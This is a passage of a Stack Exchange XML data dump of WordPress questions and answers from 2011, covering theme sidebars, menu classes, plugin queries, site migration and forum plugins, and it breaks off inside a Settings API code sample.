  <row Id="23734" PostTypeId="2" ParentId="23732" CreationDate="2011-07-22T03:49:13.680" Score="1" ViewCount="" Body="&lt;p&gt;Use the following code, replacing the number after &quot;child_of=&quot; to the id of the parent page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$count = 0;&#xA;$pages = get_pages('child_of=681&amp;amp;depth=1');&#xA;  foreach($pages as $page) {&#xA;    $count++;&#xA;  }&#xA;  echo $count;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;get_pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-22T03:49:13.680" CommentCount="1" />
  <row Id="23735" PostTypeId="2" ParentId="23692" CreationDate="2011-07-22T03:52:44.537" Score="0" ViewCount="" Body="&lt;p&gt;You may need to set the owner of all your web directories to the user that the web server is associated with (sometimes 'www-data'). The format is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R username directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you would use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R www-data:www-data directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-22T03:52:44.537" CommentCount="1" />
  <row Id="23736" PostTypeId="1" CreationDate="2011-07-22T03:56:30.570" Score="2" ViewCount="43" Body="&lt;p&gt;I am a big fan of the JSON API plugin.  The developer did a great job and I thank him very much. I am learning how to work with json and jquery and am trying to limit the information I get back from an ajax request. I have been able to use the include and custom field options successfully but amd falling a little short understanding 4.6. Attachment response object. Is there a way to limit the result to only provide thumb images? If so, can anyone provide an example of the syntax. I am not sure how to address these objects in the query string. Any help would be awesome. Let me know if I need to clarify anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to narrow down my result with this request url: &lt;code&gt;/?json=get_recent_posts&amp;amp;include=title,url,categories,thumbnail,custom_fields&amp;amp;custom_fields=field1'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;plugin url: &lt;a href=&quot;http://wordpress.org/extend/plugins/json-api/other_notes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/json-api/other_notes/&lt;/a&gt;&#xA;plugin author: &lt;a href=&quot;http://profiles.wordpress.org/users/dphiffer/&quot; rel=&quot;nofollow&quot;&gt;http://profiles.wordpress.org/users/dphiffer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Fellow WordPress Developer&lt;/p&gt;&#xA;" OwnerUserId="7235" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-23T11:02:55.220" LastActivityDate="2011-08-23T11:02:55.220" Title="Help with 4.6. Attachment response object in JSON API plugin" Tags="&lt;plugins&gt;&lt;ajax&gt;&lt;plugin-json-api&gt;" />
  <row Id="23738" PostTypeId="1" AcceptedAnswerId="23786" CreationDate="2011-07-22T06:38:54.610" Score="0" ViewCount="45" Body="&lt;p&gt;The &lt;a href=&quot;http://www.superlogical.net/&quot; rel=&quot;nofollow&quot;&gt;home page&lt;/a&gt; displays the sidebar below the rest of all the latest posts, leaving a vacant sidebar area for the majority of the (long) page.  The sidebar displays fine on any &lt;a href=&quot;http://www.superlogical.net/art/photography/2011/07/beautiful-treescape-photography/&quot; rel=&quot;nofollow&quot;&gt;single post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;index.php&lt;/strong&gt; and &lt;strong&gt;single.php&lt;/strong&gt; are practically identical, apart from minor differences in the &quot;next post&quot;, &quot;previous post&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no widgets deployed in the theme sidebar, which is called sidebar1; there are no other sidebars.  All the elements of the sidebar are coded into sidebar.php, and there are no conditions to check which page is calling the sidebar, so it should (and is) displaying the same content on both the index page, and on individual posts, just in different locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category pages display the sidebar in the correct location too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that there might be posts with &lt;code&gt;&amp;lt;br clear=&quot;all&quot;&amp;gt;&lt;/code&gt; listed on the home page, which were pushing the sidebar down, but the only post which has this content is not on the home page any more, and it &lt;a href=&quot;http://www.superlogical.net/computing/windows/2011/07/add-edit-with-to-right-click-menu/&quot; rel=&quot;nofollow&quot;&gt;displays&lt;/a&gt; the sidebar fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the individual posts contain content which is too wide - they all display fine as individual posts, and even when the content is too wide, it just displays underneath the sidebar, it doesn't push it downwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a caching plugin, but I have cleared the cache on the server and in my browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I display the site in IE8, I receive an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Webpage error details&#xA;Message: 'ajaxurl' is undefined&#xA;Line: 1&#xA;Char: 102&#xA;Code: 0&#xA;URI: http://www.superlogical.net/wp-includes/js/wp-lists.js?ver=20110521&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I receive the same error on individual posts and the sidebar displays fine in IE8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't made any template changes in the last 2-3 days I can think of, and it was displaying fine yesterday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing in Google Chrome CSS element inspector indicating any CSS issues that I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas about what is happening here?  &lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-07-22T14:27:48.013" Title="Sidebar missing from Homepage" Tags="&lt;css&gt;&lt;sidebar&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23739" PostTypeId="1" CreationDate="2011-07-22T06:53:46.773" Score="0" ViewCount="48" Body="&lt;p&gt;&lt;a href=&quot;http://www.superlogical.net/&quot; rel=&quot;nofollow&quot;&gt;My site&lt;/a&gt; displays the following script error in IE8:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Webpage error details&#xA;Message: 'ajaxurl' is undefined&#xA;Line: 1&#xA;Char: 102&#xA;Code: 0&#xA;URI: http://www.superlogical.net/wp-includes/js/wp-lists.js?ver=20110521&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't see what is calling wp-lists.js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-08-21T11:32:58.860" Title="'ajaxurl' is undefined -- wp-includes/js/wp-lists.js" Tags="&lt;javascript&gt;&lt;errors&gt;" AnswerCount="1" />
  <row Id="23740" PostTypeId="1" CreationDate="2011-07-22T07:15:39.913" Score="0" ViewCount="39" Body="&lt;p&gt;He Guys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've been looking for a way to show a different Page-Template based on HTTP Referer or maybe the User Agent or what ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm planning an Image-Gallery which should be shown in a Fancybox. My Idea is to use a template which contains only the &lt;code&gt;loop&lt;/code&gt; and all the stuff i need to build the gallery correctly (without any Header and Footer files) and load it in my Fancybox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what about the Search Engines und Users with disabled JavaScript. They don't see anything or only a page without the Pagecontext like Navi etc. How can i prevent this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas&lt;/p&gt;&#xA;" OwnerUserId="4408" LastActivityDate="2011-08-23T00:33:34.640" Title="Different Template based on HTTP Referer" Tags="&lt;template&gt;&lt;template-redirect&gt;" AnswerCount="1" />
  <row Id="23741" PostTypeId="1" CreationDate="2011-07-22T07:39:03.373" Score="0" ViewCount="31" Body="&lt;p&gt;How can I change the category slug that appears in the URL of a post that's in multiple categories? I'd like to change the default WordPress behaviour of using the category with the lowest id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this would do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_link', 'mspc_post_link', 1, 2);&#xA;function mspc_post_link($link, $post) {&#xA;    if (strpos($link, 'bad-category-slug')) {&#xA;        $cats = get_the_category($post-&amp;gt;ID);&#xA;        foreach ($cats as $cat) {&#xA;            if (&quot;Bad Category Name&quot; != $cat-&amp;gt;cat_name) {&#xA;                $slug = $cat-&amp;gt;category_nicename;&#xA;                break;&#xA;            }&#xA;        }&#xA;        $link = str_replace('bad-category-slug', $slug, $link);&#xA;    }&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But while this kind of does work as expected, it doesn't change the URL visible to user.&lt;/p&gt;&#xA;" OwnerUserId="7239" LastActivityDate="2011-07-22T07:39:03.373" Title="How to change the category in URL for posts in multiple categories?" Tags="&lt;categories&gt;&lt;permalinks&gt;" />
  <row Id="23742" PostTypeId="1" CreationDate="2011-07-22T08:00:13.510" Score="0" ViewCount="43" Body="&lt;p&gt;I was dreaming some filter like that:&#xA;&lt;a href=&quot;http://staypress.com/features/advanced-tag-filter/&quot; rel=&quot;nofollow&quot;&gt;http://staypress.com/features/advanced-tag-filter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4sz5p.png&quot; alt=&quot;tag filter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea for creating a filter like that?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-07-22T13:46:15.630" Title="Advanced Tag Filter" Tags="&lt;wp-admin&gt;&lt;tags&gt;&lt;management&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="23744" PostTypeId="2" ParentId="23739" CreationDate="2011-07-22T08:22:00.130" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp-lists.js&lt;/code&gt; seems to be one of scripts, used in WP admin. Assuming &lt;code&gt;ajaxurl&lt;/code&gt; is defined is from there as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is likely some plugin, trying to use these in admin area but (being poorly coded) loading them everyhwere.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-22T08:22:00.130" CommentCount="3" />
  <row Id="23745" PostTypeId="2" ParentId="22539" CreationDate="2011-07-22T08:55:23.953" Score="0" ViewCount="" Body="&lt;p&gt;For a similar project, I used a single line of jQuery to selectively add spacers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('ul#menu-main-menu-1 li.menu-item-267, ul#menu-main-menu-1 li.menu-item-265').append(' | ');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Leaving question open in hopes that somebody has a more elegant solution than this...&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-07-22T08:55:23.953" />
  <row Id="23747" PostTypeId="1" CreationDate="2011-07-22T08:58:05.443" Score="0" ViewCount="130" Body="&lt;p&gt;i don't know this topic might covered else where. but i am trying to find step by step simply tutorial. to make a plugin where i can add a new page to site. and in that page i put some form. and only registered user can access that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i managed to make plugin at admin side. but not able to find the tutorial to make a form at front end of website. for registered user only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please give me some link for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my core issues are&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how can i display custom coded php form in only one page in front end.&lt;/li&gt;&#xA;&lt;li&gt;how can i make that page ristricted for registered user only.&lt;/li&gt;&#xA;&lt;li&gt;how can i customize the login/registration form to add custom fields without using any plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7242" LastActivityDate="2011-07-25T06:12:53.693" Title="easy steps to make front end form without plugin" Tags="&lt;plugins&gt;&lt;login&gt;&lt;form&gt;&lt;register&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="23748" PostTypeId="2" ParentId="1059" CreationDate="2011-07-22T09:02:28.337" Score="1" ViewCount="" Body="&lt;p&gt;Since you didn't specify a theme , I'll assume you are using the default theme, now &lt;em&gt;TwentyEleven&lt;/em&gt;, or one that is similarly built. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the theme's root directory, you will find the footer.php file. Look for the following html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;site-generator&quot;&amp;gt;&#xA;            &amp;lt;?php do_action( 'twentyeleven_credits' ); ?&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo esc_url( __( 'http://wordpress.org/', 'twentyeleven' ) ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentyeleven' ); ?&amp;gt;&quot; rel=&quot;generator&quot;&amp;gt;&amp;lt;?php printf( __( 'Proudly powered by %s', 'twentyeleven' ), 'WordPress' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Delete it, and save the file, or you can replace it with your own link like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;footer-links&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo home_url( '/' ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php bloginfo( 'name' ); ?&amp;gt;&quot; rel=&quot;home'&amp;gt;&amp;lt;?php bloginfo( 'name' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #footer-links --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7183" LastEditorUserId="7183" LastEditorDisplayName="" LastEditDate="2011-07-22T09:52:22.710" LastActivityDate="2011-07-22T09:52:22.710" />
  <row Id="23749" PostTypeId="2" ParentId="21355" CreationDate="2011-07-22T10:12:28.120" Score="0" ViewCount="" Body="&lt;p&gt;I'm trying to answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function that responsible to generate classes for menu items is &lt;code&gt;_wp_menu_item_classes_by_context&lt;/code&gt; in the file &lt;code&gt;wp-includes/nav-menu-template.php&lt;/code&gt;. You can dig there to see what classes it generate, so you can strip it out in &lt;code&gt;nav_menu_css_class&lt;/code&gt; filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that every classes that automatically generated started with &lt;code&gt;menu-item&lt;/code&gt; class. So, in the filter I loop the classes array until found that class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_nav_menu_css_class($classes) {&#xA;    $custom_classes = array();&#xA;    foreach($classes as $class) {&#xA;        if($class=='menu-item') return $custom_classes;&#xA;        $custom_classes[] = $class;&#xA;    }&#xA;}&#xA;add_filter('nav_menu_css_class', 'my_nav_menu_css_class');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4967" LastActivityDate="2011-07-22T10:12:28.120" />
  <row Id="23750" PostTypeId="2" ParentId="23660" CreationDate="2011-07-22T10:20:50.750" Score="0" ViewCount="" Body="&lt;p&gt;Instead of redirecting, just move the site you want into the old one:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove all pages, posts and taxonomies from the old unwanted site, and empty the trash to clear the database fields.&lt;/li&gt;&#xA;&lt;li&gt;Export the content from your new preferred site.&lt;/li&gt;&#xA;&lt;li&gt;Download and install the WordPress Importer plugin, and import your content into the main site in your network.&lt;/li&gt;&#xA;&lt;li&gt;Install your plugins, enable theme, change settings, etc. to match the other site.&lt;/li&gt;&#xA;&lt;li&gt;Once everything is how you would like it, delete the second site, and redirect it to the freshly rebuilt one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To redirect matching pages, use a rule like this in your .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RedirectMatch 301 /en/(.*)? http://jeffsebring.com/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-22T10:20:50.750" />
  <row Id="23751" PostTypeId="2" ParentId="14158" CreationDate="2011-07-22T10:28:54.877" Score="1" ViewCount="" Body="&lt;p&gt;Instead of pasting into the Visual editor, switch to the html editor for pasting any kind of html, or using shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend checking the &quot;disable the visual editor&quot; checkbox in your user profile. Then install Mark Jaquith's &lt;em&gt;Markdown on Save&lt;/em&gt; plugin for more readable formatting without the wysiwyg pitfalls.&lt;/p&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-22T10:28:54.877" />
  <row Id="23752" PostTypeId="1" CreationDate="2011-07-22T10:45:04.687" Score="0" ViewCount="26" Body="&lt;p&gt;Currently I have used a media uploader within my metabox for my custom post types. I have three media uploader boxes - one for thumbnail, gallery (defined as medium in the media screen) and hero image (defined as large in the media screen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click on one of them, and upload an image - and go to the library section - I would like the default radio to be set to say if I clicked gallery, to the medium radio. Instead the radio checked is the full size, is there anyway I can do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be brilliant is - that I could do rename the medium and the large as well changing the default checked radio button... any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7244" LastActivityDate="2011-07-22T10:45:04.687" Title="Changing Media Screen default checked radio" Tags="&lt;metabox&gt;&lt;media-upload&gt;" />
  <row Id="23753" PostTypeId="2" ParentId="23327" CreationDate="2011-07-22T10:49:34.750" Score="1" ViewCount="" Body="&lt;p&gt;There is really only one way to do an easy transfer of domain or host that I have found. It works flawlessly for me on single and multisite installations.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export your database to a .sql file. ( I use PHPMyAdmin for this )&lt;/li&gt;&#xA;&lt;li&gt;Create a new copy of the file to be edited with a slightly different name.&lt;/li&gt;&#xA;&lt;li&gt;Open the file in you preferred text editor&gt; ( gedit for example )&lt;/li&gt;&#xA;&lt;li&gt;Run a find/replace on the domain AND absolute path ( /home/username/public_html/ to /home/username/public_html/ ) from production to dev.&lt;/li&gt;&#xA;&lt;li&gt;Save the file.&lt;/li&gt;&#xA;&lt;li&gt;Copy the entire installation to your development directory.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following line to your wp-config.php file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;define('RELOCATE',true);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Log in, and save your permalinks settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the define rule you put in your wp-config.php.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7183" LastEditorUserId="7183" LastEditorDisplayName="" LastEditDate="2011-07-22T19:09:47.607" LastActivityDate="2011-07-22T19:09:47.607" CommentCount="3" />
  <row Id="23754" PostTypeId="2" ParentId="22539" CreationDate="2011-07-22T10:59:40.733" Score="1" ViewCount="" Body="&lt;p&gt;You can extend Walker class which wordpress uses for wp_nav_menu to style your menu in your way....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output&quot; rel=&quot;nofollow&quot;&gt;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-22T10:59:40.733" />
  <row Id="23755" PostTypeId="2" ParentId="21355" CreationDate="2011-07-22T11:05:57.843" Score="0" ViewCount="" Body="&lt;p&gt;One of the darker corners of the code. :) Here is my take:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class', 'discard_menu_classes', 10, 2);&#xA;&#xA;function discard_menu_classes($classes, $item) {&#xA;&#xA;    return (array)get_post_meta( $item-&amp;gt;ID, '_menu_item_classes', true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-22T11:05:57.843" />
  <row Id="23756" PostTypeId="2" ParentId="21201" CreationDate="2011-07-22T11:13:02.390" Score="1" ViewCount="" Body="&lt;p&gt;After doing a little searching on this problem, It's my understanding that the data is actually encoded in utf-8, but being handled like latin. You just need to trick it into reading it correctly with a little juggling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export the db in its current state, copy the dump file for backup.&lt;/li&gt;&#xA;&lt;li&gt;Create a new database usng utf-8.&lt;/li&gt;&#xA;&lt;li&gt;Change the character set in your sql dump file to utf-8.&lt;/li&gt;&#xA;&lt;li&gt;Import your data into your new database.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This should trick mysql into reading the data correctly. Apparently if you try to change the encoding when you export, you will get double encoded characters, as the data was already encoded in utf-8.&lt;/p&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-22T11:13:02.390" CommentCount="3" />
  <row Id="23757" PostTypeId="1" CreationDate="2011-07-22T11:20:35.853" Score="3" ViewCount="88" Body="&lt;p&gt;Is there a plugin for this? Has anyone done it before?&lt;/p&gt;&#xA;" OwnerUserId="3765" LastActivityDate="2011-07-22T16:10:28.010" Title="Any easy way to automatically set the first inline image in a post as the thumbnail?" Tags="&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" />
  <row Id="23758" PostTypeId="2" ParentId="15713" CreationDate="2011-07-22T11:21:51.070" Score="1" ViewCount="" Body="&lt;p&gt;What you really need to do is create &lt;a href=&quot;http://codex.wordpress.org/Taxonomies#Custom_Taxonomies&quot; rel=&quot;nofollow&quot;&gt;Custom Taxonomies&lt;/a&gt; for your products instead of second custom post type. You can create taxonomies that are hierarchical like categories, or non-hierachical like tags. Give them names, slugs, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you won't interfere with the blog categories and tags, and get a more customized result.&lt;/p&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-22T11:21:51.070" />
  <row Id="23759" PostTypeId="1" AcceptedAnswerId="23762" CreationDate="2011-07-22T11:24:29.583" Score="1" ViewCount="107" Body="&lt;p&gt;Ok i have a wordpress site network. I would like to setup a support forum for my site. But i don't want users to signup in different pages. I mean i want my users to use the same wordpress login credentials in forum too. Is there any forum plugin available there. Thanks&lt;br&gt;&#xA;PS: Is it possible using bbpress?&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-22T17:20:08.273" Title="What is best forum script available to integrate with wordpress?" Tags="&lt;multisite&gt;&lt;bbpress&gt;&lt;forum&gt;" AnswerCount="3" />
  <row Id="23760" PostTypeId="2" ParentId="23759" CreationDate="2011-07-22T11:31:36.817" Score="0" ViewCount="" Body="&lt;p&gt;Yes! bbPress is the best way to go. There are two options for you.&#xA;Either the standalone version or the new WordPress plugin named bbPress. Give them a spin, you will find the latter one easy to start up a forum but former has a good number of plugins, whereas the new plugin doesn't have much plugins as of now.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-07-22T11:31:36.817" CommentCount="1" />
  <row Id="23762" PostTypeId="2" ParentId="23759" CreationDate="2011-07-22T12:10:56.630" Score="2" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/mingle-forum/&quot; rel=&quot;nofollow&quot;&gt;Mingle Forum&lt;/a&gt; plugin, which is nice, simple and did the job for me on a couple of sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also &lt;a href=&quot;http://wordpress.org/extend/plugins/bbpress/&quot; rel=&quot;nofollow&quot;&gt;bbPress&lt;/a&gt; looks promesing but its still in a beta stage like @Rarst pointed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and last you have &lt;a href=&quot;http://simple-press.com/&quot; rel=&quot;nofollow&quot;&gt;SimplePress&lt;/a&gt; which is by far the most feature rich forum plugin I've seen.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-22T12:10:56.630" CommentCount="1" />
  <row Id="23763" PostTypeId="1" CreationDate="2011-07-22T12:20:14.470" Score="0" ViewCount="55" Body="&lt;p&gt;I have gallery (I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/cleaner-gallery/&quot; rel=&quot;nofollow&quot;&gt;Cleaner Gallery&lt;/a&gt; plugin) with many images. I want to add asynchronous image loading with jQuery (I'm using &lt;a href=&quot;http://www.sebastianoarmelibattana.com/projects/jail&quot; rel=&quot;nofollow&quot;&gt;JAIL&lt;/a&gt; to do that). But to use this JAIL plugin I need to change gallery output (need to use data-href tag with link to image). How can I do that? I've been trying to edit cleaner-gallery.php inside my plugin directory but id does not change anything!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@edit:&#xA;Changing cleaner-gallery.php doesn't give wanted output. I don't know why but maybe I have to edit some function from wp-includes/media.php? Do you know what function should I overwrite? &lt;/p&gt;&#xA;" OwnerUserId="7113" LastEditorUserId="7113" LastEditorDisplayName="" LastEditDate="2011-07-22T15:05:21.487" LastActivityDate="2011-08-22T15:33:25.307" Title="Gallery - custom html for inserting images" Tags="&lt;gallery&gt;&lt;image&gt;&lt;link&gt;" AnswerCount="2" />
  <row Id="23764" PostTypeId="2" ParentId="23747" CreationDate="2011-07-22T12:30:10.513" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how can i display custom coded php form in only one page in front end?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The best way to go would be to create a &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;custom page template&lt;/a&gt; then create a page inside WordPress admin and select your newly created template for that page.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how can i make that page ristricted for registered user only?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Normally I would go with my plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/user-specific-content/&quot; rel=&quot;nofollow&quot;&gt;User Specific Content&lt;/a&gt; but since you are looking for a solution without a plugin then you can use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_user_logged_in()&lt;/code&gt;&lt;/a&gt; function in your custom template page to check if the user is logged in or not.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how can i customize the login/registration form to add custom fields without using any plugin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;take a look at this &lt;a href=&quot;http://tipsforwordpress.com/wordpress/add-custom-field-to-register-form/&quot; rel=&quot;nofollow&quot;&gt;nice tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-22T12:30:10.513" />
  <row Id="23765" PostTypeId="1" CreationDate="2011-07-22T12:35:43.183" Score="-2" ViewCount="48" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23701/how-should-one-implement-add-settings-error-on-custom-menu-pages&quot;&gt;How should one implement add_settings_error on custom menu pages?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;In the Settings API section (chapter 7) of the &lt;a href=&quot;http://justintadlock.com/plugindevbook&quot; rel=&quot;nofollow&quot;&gt;Pro WP Plugin Dev book&lt;/a&gt;, there is some sample code that demonstrates how to use the key features of the Settings API on options pages in the options menu in the admin UI. It makes use of &lt;code&gt;add_options_page&lt;/code&gt; to do this, I've re-produced the code below but you can also &lt;a href=&quot;http://www.wrox.com/WileyCDA/WroxTitle/Professional-WordPress-Plugin-Development.productCd-0470916222,descCd-DOWNLOAD.html&quot; rel=&quot;nofollow&quot;&gt;download the original chapter 7 code here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use this same code, but on a custom admin menu and submenus. Using &lt;code&gt;add_menu_page&lt;/code&gt; and &lt;code&gt;add_submenu_page&lt;/code&gt;. When I do this a lot of functionality breaks, especially functions like &lt;code&gt;add_settings_error&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I be using the Settings API with custom admin menus?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Settings API example&#xA;Plugin URI: http://example.com/&#xA;Description: A complete and practical example of use of the Settings API. This plugin creates a new plugin administration page.&#xA;Author: WROX&#xA;Author URI: http://wrox.com&#xA;*/&#xA;&#xA;// Add a menu for our option page&#xA;add_action('admin_menu', 